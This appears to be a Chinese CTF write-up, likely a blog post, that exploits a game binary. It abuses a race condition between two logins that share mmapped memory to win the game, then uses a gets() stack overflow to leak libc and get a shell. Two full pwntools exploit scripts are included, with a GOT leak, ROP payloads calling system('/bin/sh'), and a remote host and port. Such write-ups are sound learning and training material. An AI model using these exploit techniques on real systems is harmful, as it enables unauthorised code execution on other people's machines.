前言
一道race condition题目, 双线程共用同一内存就可能有漏洞
分析过程
一个一个函数看, 没啥稀奇的, 直到看到attack函数
int attack()
{
int result; // eax
int v1; // [esp+0h] [ebp-28h]
int v2; // [esp+4h] [ebp-24h]
int v3; // [esp+8h] [ebp-20h]
int v4; // [esp+Ch] [ebp-1Ch]
int v5; // [esp+10h] [ebp-18h]
int v6; // [esp+14h] [ebp-14h]
int v7; // [esp+18h] [ebp-10h]
int v8; // [esp+1Ch] [ebp-Ch]
int v9; // [esp+20h] [ebp-8h]
int v10; // [esp+24h] [ebp-4h]
int savedregs; // [esp+28h] [ebp+0h]
++*((_DWORD *)gHero + 1);
++*(_DWORD *)(gMonster + 4);
hero_recovery();
mon_recovery();
printf("%s display:%s\n", (const char *)gHero + 16, *(const char **)(*((_DWORD *)gHero + 20) + 12));
printf("%s display:%s\n", (const char *)(gMonster + 16), *(const char **)(*(_DWORD *)(gMonster + 80) + 12));
v6 = **(_DWORD **)(gMonster + 80);
v5 = *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 4);
if ( *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 16) && *(int *)(gMonster + 4) > 4 && rand() % 3 == 1 )
{
*(_DWORD *)(gMonster + 4) = 0;
v5 += *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 16);
v6 += *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 16);
}
v8 = **((_DWORD **)gHero + 20);
v7 = *(_DWORD *)(*((_DWORD *)gHero + 20) + 4);
if ( *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 16) )
{
printf("use hiden_methods?(1:yes/0:no):");
v4 = read_int();
if ( v4 == 1 )
{
v7 += *(_DWORD *)(*((_DWORD *)gHero + 20) + 16);
v8 += *(_DWORD *)(*((_DWORD *)gHero + 20) + 16);
}
}
if ( v7 < v6 )
*((_DWORD *)gHero + 2) -= v6 - v7;
if ( v5 < v8 )
*(_DWORD *)(gMonster + 8) -= v8 - v5;
if ( *((int *)gHero + 2) <= 0 )
{
puts("you failed");
*((_DWORD *)gHero + 2) = 0;
release_all(v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, savedregs);
}
result = *(_DWORD *)(gMonster + 8);
if ( result <= 0 )
{
puts("you win");
if ( *(_DWORD *)gMonster == 3 )
{
puts("we will remember you forever!");
vul_func();
release_all(v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, savedregs);
}
puts("slave up");
level_up();
result = init_monster(*(_DWORD *)gMonster + 1);
}
return result;
}
中间有个vul_func
具有挑衅意味的函数, 进去看直接是一个栈溢出, 而且没有canary保护
int vul_func()
{
char s[72]; // [esp+0h] [ebp-48h] BYREF
printf("what's your name:");
gets(s);
return printf("ok! %s ,welcome\n", s);
}
不过情况似乎没有表面那么简单, 因为想要进入这个函数, 需要赢得游戏本身
条件是Surplus == 0 && slave == 3
不用想, 正常打游戏一般不可能赢, 所以只能用hacker的方法打游戏
找一下ghero的引用
看到ghero在init_db中分配内存空间
void *__cdecl init_db(char *file)
{
void *result; // eax
gfd = open(file, 2);
result = mmap(0, 0x1000u, 3, 1, gfd, 0);
gHero = result;
return result;
}
逆向回去
分配的空间和用户名相关
看看mmap的定义
void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);
可见如果控制登陆相同的用户, 那么分配到的空间是一样的, 那可以双开游戏, 登陆同一个用户, 就可以进行race condition的利用
漏洞利用
目的是打赢游戏, 看看技能表
在前两回合
不使用hiden_method时:
0: DDOS Attack 双方扣血
1: Overflow Attack 己方扣血, 对方加血
2: Middleman Attack 双方加血
3: Penetration Attack 双方加血
使用hiden_method时:
0: DDOS Attack 己方加血, 对方扣血
1: Overflow Attack 己方加血, 对方扣血
2: Middleman Attack 双方加血
3: Penetration Attack 双方加血
前两回合可以手动打赢, 但是重点是第三回合, 只有双方扣血/双方回血的技能效果但是对方血量是90 > 己方血量60, 这时是怎么都打不赢对面的, 所以只能开挂, 通过双开同时叠加两种技能效果, 己方加血, 对方扣血
一种可行的攻击模式为
线程A使用技能3, 在use hiden method阻塞输入时, 线程B修改技能为1, 再让A使用hiden method, 这样就能实现己方加血, 对方扣血的效果
打赢游戏后就是栈溢出, 泄露libc, get shell
from LibcSearcher import LibcSearcher
from pwn import *
url, port = "111.200.241.244", 51083
filename = "./pwn"
elf = ELF(filename)
# libc = ELF("")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
debug = 0
context.log_level="debug"
if debug:
ioA = process(filename)
ioB = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
ioA = remote(url, port)
ioB = remote(url, port)
def dbg():
gdb.attach(ioA)
pause()
def login(io, name):
io.sendlineafter("login:", name)
def attack(io):
io.sendlineafter("choice>> ","1")
def use_hiden_method(io, choice):
io.sendlineafter("(1:yes/0:no):",str(choice))
def change_skill(io, choice):
io.sendlineafter("choice>> ","3")
io.sendlineafter("choice>> ", str(choice))
def hacking_attack(ioA, ioB):
change_skill(ioA, 3)
attack(ioA)
change_skill(ioB,1)
use_hiden_method(ioA, 1)
def pwn():
login(ioA, "hack")
login(ioB, "hack")
while True:
hacking_attack(ioA, ioB)
content = ioA.recvuntil("\n")
if b"you win" in content:
content = ioA.recvuntil("\n")
if b"we will remember you forever!" in content:
break
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vul_addr = elf.sym['vul_func']
payload = cyclic(0x48 + 4) + p32(puts_plt) + p32(vul_addr) + p32(puts_got)
# dbg()
ioA.sendlineafter("what's your name:", payload)
ioA.recvuntil("welcome\n")
puts_addr = u32(ioA.recv(4))
log.info("puts address: %#x" % puts_addr)
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc.dump("system") + libc_base
binsh_addr = libc.dump("str_bin_sh") + libc_base
log.info("libc base address: %#x" % libc_base)
log.info("system address: %#x" % system_addr)
log.info("bin sh address: %#x" % binsh_addr)
# dbg()
payload = cyclic(0x48 + 4) + p32(system_addr) + cyclic(4) + p32(binsh_addr)
ioA.sendlineafter("what's your name:", payload)
ioA.recvuntil("\n")
ioA.interactive()
if __name__ == '__main__':
pwn()
不过问题在于LibcSearcher不靠谱, 搜索到的libc版本不对, 需要到libc-database手动搜索最后发现是
libc6-i386_2.23-0ubuntu10_amd64
修改exp
from LibcSearcher import LibcSearcher
from pwn import *
url, port = "111.200.241.244", 62580
filename = "./pwn"
elf = ELF(filename)
# libc = ELF("")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
debug = 0
context.log_level="debug"
if debug:
ioA = process(filename)
ioB = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
ioA = remote(url, port)
ioB = remote(url, port)
def dbg():
gdb.attach(ioA)
pause()
def login(io, name):
io.sendlineafter("login:", name)
def attack(io):
io.sendlineafter("choice>> ","1")
def use_hiden_method(io, choice):
io.sendlineafter("(1:yes/0:no):",str(choice))
def change_skill(io, choice):
io.sendlineafter("choice>> ","3")
io.sendlineafter("choice>> ", str(choice))
def hacking_attack(ioA, ioB):
change_skill(ioA, 3)
attack(ioA)
change_skill(ioB,1)
use_hiden_method(ioA, 1)
def pwn():
login(ioA, "hack")
login(ioB, "hack")
while True:
hacking_attack(ioA, ioB)
content = ioA.recvuntil("\n")
if b"you win" in content:
content = ioA.recvuntil("\n")
if b"we will remember you forever!" in content:
break
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vul_addr = elf.sym['vul_func']
payload = cyclic(0x48 + 4) + p32(puts_plt) + p32(vul_addr) + p32(puts_got)
# dbg()
ioA.sendlineafter("what's your name:", payload)
ioA.recvuntil("welcome\n")
puts_addr = u32(ioA.recv(4))
log.info("puts address: %#x" % puts_addr)
puts_libc_addr = 0x05f140
system_libc_addr = 0x03a940
binsh_libc_addr = 0x15902b
libc_base = puts_addr - puts_libc_addr
system_addr = libc_base + system_libc_addr
binsh_addr = libc_base + binsh_libc_addr
# libc = LibcSearcher("puts", puts_addr)
# libc_base = puts_addr - libc.dump("puts")
# system_addr = libc.dump("system") + libc_base
# binsh_addr = libc.dump("str_bin_sh") + libc_base
log.info("libc base address: %#x" % libc_base)
log.info("system address: %#x" % system_addr)
log.info("bin sh address: %#x" % binsh_addr)
# dbg()
payload = cyclic(0x48 + 4) + p32(system_addr) + cyclic(4) + p32(binsh_addr)
ioA.sendafter("what's your name:", payload)
ioA.interactive()
if __name__ == '__main__':
pwn()
终于打通了, 不过flag在/home/ctf/文件夹下, 实在找不到的可以cd到~文件夹, 然后find . flag
总结
第一次打race condition, 对线程内存共用有了个直观认识, 安全的做法应该避免不同线程使用相同内存区域
卡点
(1) gets()需要读取到’\n’才能结束读取, 所以io交互需要sendline, 而不是send
(2) no matched libc,please add more libc or try others
参考https://blog.csdn.net/qq_40889704/article/details/116571781
(3) 本地打通了, 但是远程打不通, libcsearcher不给力啊
试试通过libc database来查, 期间隔了一周, 各种事耽误了, 其实一开始调了一天没打通, 血压高心情低落, 后来隔了一段时间闲的没事干又回来打, 这次想好了是通过libc-database来搜索libc版本, 然后推测服务器是ubuntu系统, 所以第一个选择libc版本就选对了, 泪目~
不过是真的好爽呀, 卡了一周的题终于打通了, 哭了